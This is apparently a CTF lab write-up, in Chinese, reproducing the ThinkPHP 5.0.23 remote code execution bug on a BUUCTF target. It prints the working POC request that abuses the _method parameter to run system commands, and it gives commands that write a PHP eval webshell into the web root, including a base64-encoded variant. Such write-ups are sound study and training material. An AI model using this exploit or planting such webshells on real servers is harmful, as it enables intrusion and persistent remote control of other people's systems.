漏洞簡介
ThinkPHP 是一款運用極廣的 PHP 開發框架。其 5.0.23 以前的版本中,獲取 method 的方法中沒有正確處理方法名,導致攻擊者可以調用 Request 類任意方法並構造利用鏈,從而導致遠程代碼執行漏洞。
漏洞靶場
BUUCTF 的 Real 分類下,[ThinkPHP]5.0.23-Rce 模塊。

復現過程
直接在主頁使用 BurpSuite 進行抓包,得到這樣的數據包:

將其發送到 BurpSuite 的 Repeater 模塊。
在 Vulhub 中,我們找到了該漏洞的利用 POC:
POST /index.php?s=captcha HTTP/1.1
Host: node4.buuoj.cn:29957
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
注意:記得修改 Host 的數據為自己實際訪問的地址。
將該 POC 替換到 之前的 Repeater 中,直接發送:

可以看到我們獲取了主機的信息。
由於我們使用的是 CTF 場景,目標是獲取 flag,因此考慮利用 echo 和 > 重定向,向目錄寫入一句話木馬。
先使用 pwd 命令,查看當前所在目錄:

可以看到處於 /var/www/public 目錄下。
然后使用:
echo "<?php @eval($_POST['cmd']);?>" > /var/www/public/test.php
寫入一句話木馬:

可以看到已經成功寫入。
使用蟻劍連接,然而並沒有成功。我們再顯示上傳的文件的內容,發現 $_POST 被吃掉了:

我 TM 直呼好家伙。
接下來嘗試寫入 phpinfo 文件,看看這里面能不能找到點什么信息:
echo "<?php phpinfo();?>" > /var/www/public/test2.php
成功訪問:

最終果然在這里找到了 flag:

雖然找到了 flag,但是沒用蟻劍連上,有點不服,后來試了下其他方式,采用如下命令:
echo "PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=" | base64 -d > 1.php
其中 PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4= 是一句話木馬的 Base64 編碼形式。這里將這段編碼進行解碼過后再寫入到 1.php 中。
可以看到成功寫進去了:

蟻劍成功連接:

但是沒有在目錄中看到 flag,所以之前算是歪打正着了吧😅
